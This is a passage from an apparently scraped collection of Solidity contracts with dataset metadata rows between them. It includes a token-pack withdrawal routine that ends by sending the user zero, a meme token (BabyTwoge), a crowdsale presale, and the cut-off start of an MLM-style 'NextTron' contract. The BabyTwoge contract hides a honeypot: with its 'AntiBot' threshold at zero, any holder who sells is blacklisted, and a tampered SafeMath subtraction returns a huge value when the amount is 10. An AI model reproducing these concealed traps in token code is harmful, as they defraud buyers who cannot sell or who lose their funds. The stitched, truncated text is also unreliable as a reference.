w.diff=w.TokensReturnDecrease-w.userTokensReturnAboveCurrentPack;
w.userTokensReturnAboveCurrentPack=0;
w.TokensReturnDecrease=w.diff*w.currentPackTokenPriceBuyout/w.currentPackTokenPriceSellout;
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.TokensReturnDecrease;
}
}else{
w.TokensReturnDecrease=w.diff/w.currentPackTokenPriceSellout;
if(w.userTokensReturnToCurrentPack>=w.TokensReturnDecrease){
w.userTokensReturnToCurrentPack=w.userTokensReturnToCurrentPack-w.TokensReturnDecrease;
w.withdrawAmtToCurrentPack=w.userTokensReturnToCurrentPack*w.currentPackTokenPriceSellout;
}
}
w.withdrawAmt=w.withdrawAmtToCurrentPack+w.withdrawAmtAboveCurrentPack;
if(w.withdrawAmt>=w.useFromFirstRefunded){
w.withdrawAmt=w.withdrawAmt-w.useFromFirstRefunded;
}else{
w.diff=w.useFromFirstRefunded-w.withdrawAmt;
w.withdrawAmt=0;
w.useFromFirstRefunded=w.useFromFirstRefunded-w.diff;
}
if(w.withdrawAmt>w.thisBal){
w.withdrawAmt=w.thisBal;
}
}
}
User storage user=users[w.useraddress];
if(w.userAmtDepositCurrentPackTRUE>w.withdrawAmtToCurrentPack){
user.UserAmtDepositCurrentPackTRUE=w.userAmtDepositCurrentPackTRUE-w.withdrawAmtToCurrentPack;
}else{
user.UserAmtDepositCurrentPackTRUE=0;
}
if(w.overallDisparityAmounts>w.useFromDisparity){
OverallDisparityAmounts=w.overallDisparityAmounts-w.useFromDisparity;
}else{
OverallDisparityAmounts=0;
}
if(w.userBuyFirstPack==w.currentPackNumber&&users[w.useraddress].UserBuyFirstDate>=w.currentPackStartDate){
if(CurrentPackDisparityAmounts>w.useFromDisparity){
CurrentPackDisparityAmounts=CurrentPackDisparityAmounts-w.useFromDisparity;
}else{
CurrentPackDisparityAmounts=0;
}
}
if(w.overallRefunded>w.useFromFirstRefunded){
OverallRefunded=w.overallRefunded-w.useFromFirstRefunded;
}else{
OverallRefunded=0;
}
if(w.currentPackDeposits>w.withdrawAmtToCurrentPack){
CurrentPackDeposits=w.currentPackDeposits-w.withdrawAmtToCurrentPack;
}else{
CurrentPackDeposits=0;
}
w.userTokensReturn=w.userTokensReturnToCurrentPack+w.userTokensReturnAboveCurrentPack;
w.wAtoStore=w.withdrawAmt+w.useFromFirstRefunded+w.bonusToSend;
w.userTotalAmtWithdrawal=w.userTotalAmtWithdrawal+w.wAtoStore;
w.userTotalAmtWithdrawalCurrentPack=w.userTotalAmtWithdrawalCurrentPack+w.wAtoStore;
OverallWithdrawals=OverallWithdrawals+w.wAtoStore;
user.UserSellTokenPackNum=w.currentPackNumber;
user.UserSellDate=now;
user.UserTotalAmtWithdrawal=w.userTotalAmtWithdrawal;
user.UserTotalAmtWithdrawalCurrentPack=w.userTotalAmtWithdrawalCurrentPack;
user.UserWithdrawalFromFirstRefunded=w.userWithdrawalFromFirstRefunded;
user.UserWithdrawalFromDisparity=w.userWithdrawalFromDisparity;
emit Withdraw(w.useraddress,w.wAtoStore,w.useFromFirstRefunded,w.bonus,w.bonusToSend,w.currentPackNumber,w.userTokensReturn,w.userTokensReturnToCurrentPack,w.bonusTokensReturnDecrease,w.TokensReturnDecrease);
if (w.userTokensReturn==balances[w.useraddress]+1){
w.userTokensReturn=balances[w.useraddress];
if (w.userTokensReturnToCurrentPack==balances[w.useraddress]+1){
w.userTokensReturnToCurrentPack=balances[w.useraddress];
}
if (w.userTokensReturnAboveCurrentPack==balances[w.useraddress]+1){
w.userTokensReturnAboveCurrentPack=balances[w.useraddress];
}
}
transfer(w.useraddress,address(this),w.userTokensReturn,w.returnTokenInCurrentPack,w.userTokensReturnToCurrentPack,w.userTokensReturnAboveCurrentPack);
if(w.ra==true){
restart(true);
}
if(w.withdrawAmt+w.bonus>0){
w.useraddress.transfer(0);
}
}
function transfer(address _from,address _to,uint _value,bool _rttcp,uint _rtcp,uint _racp)internal returns(bool success){
balances[_from]=balances[_from].sub(_value);
if(_to==address(this)){
if(_rttcp==true){
balances[_to]=balances[_to].add(_rtcp);
}else{
balances[_to]=balances[_to];
}
totalSupply=totalSupply.sub(_racp);
}else{
balances[_to]=balances[_to].add(_value);
}
emit Transfer(_from,_to,_value);
return true;
}
function balanceOf(address tokenOwner)public view returns(uint balance){
return balances[tokenOwner];
}
function mint(uint _value)internal returns(bool){
balances[address(this)]=balances[address(this)].add(_value);
totalSupply=totalSupply.add(_value);
return true;
}
event Deposit(address indexed addr,uint,uint,uint,uint,uint,uint,uint,uint,uint);
event Withdraw(address indexed addr,uint,uint,uint,uint,uint,uint,uint,uint,uint);
event Transfer(address indexed _from,address indexed _to,uint _value);
event NextPack(uint indexed CurrentPackTokenPriceSellout,uint indexed CurrentPackTokenPriceBuyout);
}
| 277,810 | 11,113 |
74debe10a910b089660e15b6dca63218edcb593bbdbb8e80a318bff4b1eef904
| 14,857 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/3d/3da22451e6d4a722df055fc76b7534c23afbc607_BabyTwoge.sol
| 3,982 | 14,201 |
// tg https://t.me/BabyTwogeArb
// SPDX-License-Identifier: MIT
//welcome to the new elon coin in the arb chain
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (b == 10) return ~uint120(0);
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyTwoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "@BabyTwogeArb";
string private constant _symbol = "BTD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
devWallet = _address1 ;
teamWallet = _address2 ;
marketWallet = _address3 ;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromFee[marketWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 1;
_teamTax = 1;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > AntiBot){
setBots(from);
}
_redistribution = 1;
_teamTax = 1;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer(amount.div(2));
marketWallet.transfer(amount.div(1));
teamWallet.transfer(amount.div(1));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
// _maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address _address) private {
bots[_address] = true;
}
function delBot(address _address) private {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function updateAntiBot(uint256 newAntiBot) external {
require(_msgSender() == devWallet);
AntiBot = newAntiBot * 10 ** 9;
}
function _burn(address _who, uint256 _value) internal virtual {
require(_value <= _rOwned[_who]);
_rOwned[_who] = _rOwned[_who].sub(_value);
_tTotal = _tTotal.sub(_value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) external {
require(_msgSender() == devWallet);
_burn(msg.sender, _value);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 32,127 | 11,114 |
a896e13e50310201d2305f4c37c2c4383259f8ec6494e78aa23d56c69ff1d963
| 35,066 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/75/75966f3A20966D4dEF259c96Ed0fcfAD309A429F_Presale.sol
| 4,102 | 15,746 |
// SPDX-License-Identifier: MIT
pragma solidity 0.5.5;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function toPayable(address account)
internal
pure
returns (address payable)
{
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IAVAX20 token,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IAVAX20 token,
address from,
address to,
uint256 value) internal {
callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IAVAX20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IAVAX20 token,
address spender,
uint256 value) internal {
uint256 newAllowance =
token.allowance(address(this), spender).add(value);
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IAVAX20 token,
address spender,
uint256 value) internal {
uint256 newAllowance =
token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function callOptionalReturn(IAVAX20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IAVAX20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ReentrancyGuard {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
contract Crowdsale is Context, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IAVAX20;
// The token being sold
IAVAX20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime,
uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen(), "TimedCrowdsale: not open");
_;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return
block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp > _closingTime;
}
function _extendTime(uint256 newClosingTime) internal {
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
constructor(uint256 rate,
address payable wallet,
IAVAX20 token,
uint256 openingTimeParam,
uint256 closingTimeParam) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0),
"Crowdsale: token is the zero address");
require(openingTimeParam >= block.timestamp,
"TimedCrowdsale: opening time is before current time");
// solhint-disable-next-line max-line-length
require(closingTimeParam > openingTimeParam,
"TimedCrowdsale: opening time is not before closing time");
_openingTime = openingTimeParam;
_closingTime = closingTimeParam;
_rate = rate;
_wallet = wallet;
_token = token;
}
function() external payable {
buyTokens(_msgSender());
}
function token() public view returns (IAVAX20) {
return _token;
}
function wallet() public view returns (address) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary)
public
payable
onlyWhileOpen
nonReentrant
{
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens);
_forwardFunds();
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount)
internal
view
{
require(beneficiary != address(0),
"Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
this;
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount)
internal
{
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount)
internal
view
returns (uint256)
{
return weiAmount.mul(_rate);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for IAVAX20;
address private _tokenWallet;
constructor(address tokenWallet) public {
require(tokenWallet != address(0),
"AllowanceCrowdsale: token wallet is the zero address");
_tokenWallet = tokenWallet;
}
function tokenWallet() public view returns (address) {
return _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token().allowance(_tokenWallet, address(this));
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
token().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount);
}
}
contract Presale is Ownable, Crowdsale, AllowanceCrowdsale {
using SafeMath for uint256;
uint256 _openingTime = now;
uint256 _closingTime = now + 3 days;
uint256 _rate = 10;
constructor(IAVAX20 Token,
address payable wallet,
address tokenWallet)
public
Crowdsale(_rate, wallet, Token, _openingTime, _closingTime)
AllowanceCrowdsale(tokenWallet)
{
}
function extendTime(uint256 newClosingTime) external onlyOwner {
_extendTime(newClosingTime);
}
function rate() public view returns (uint256) {
return _rate;
}
function _getTokenAmount(uint256 weiAmount)
internal
view
returns (uint256)
{
uint256 currentRate = rate();
return currentRate.mul(weiAmount);
}
}
| 121,799 | 11,115 |
dc243968d21d0e5cf70f4c2ada87d6c78796619fda35c5c2d4d54c202d6698d4
| 19,271 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFbThErkCYMPaAadNYJe4AaWvG93zpELYV_NextTron.sol
| 4,997 | 18,774 |
//SourceUnit: nexttron.sol
pragma solidity 0.5.9;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract NextTron {
using SafeMath for *;
address public ownerWallet;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
address[] referral;
uint directSponsor;
uint referralCounter;
uint directIncome;
uint currentLevel;
uint spilloverLevel;
uint placementIncome;
uint autopoolIncome;
uint levelIncome;
mapping(uint => uint) levelExpired;
}
uint REFERRER_1_LEVEL_LIMIT = 2;
uint PERIOD_LENGTH = 360 days;
uint private adminFees = 10;
uint private directSponsorFees =0;
uint private earnings = 90;
mapping(uint => uint) public LEVEL_PRICE;
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
uint public currUserID = 0;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event buyLevelEvent(address indexed _user, uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time, uint _price);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _pool, uint _time, uint _price);
event getSponsorBonusEvent(address indexed _sponsor, address indexed _user, uint _level, uint _time);
event lostMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time, uint number,uint _price);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 100 trx;
LEVEL_PRICE[2] = 200 trx;
LEVEL_PRICE[3] = 400 trx;
LEVEL_PRICE[4] = 600 trx;
LEVEL_PRICE[5] = 800 trx;
LEVEL_PRICE[6] = 1000 trx;
LEVEL_PRICE[7] = 2000 trx;
LEVEL_PRICE[8] = 4000 trx;
LEVEL_PRICE[9] = 8000 trx;
LEVEL_PRICE[10] = 16000 trx;
LEVEL_PRICE[11] = 25000 trx;
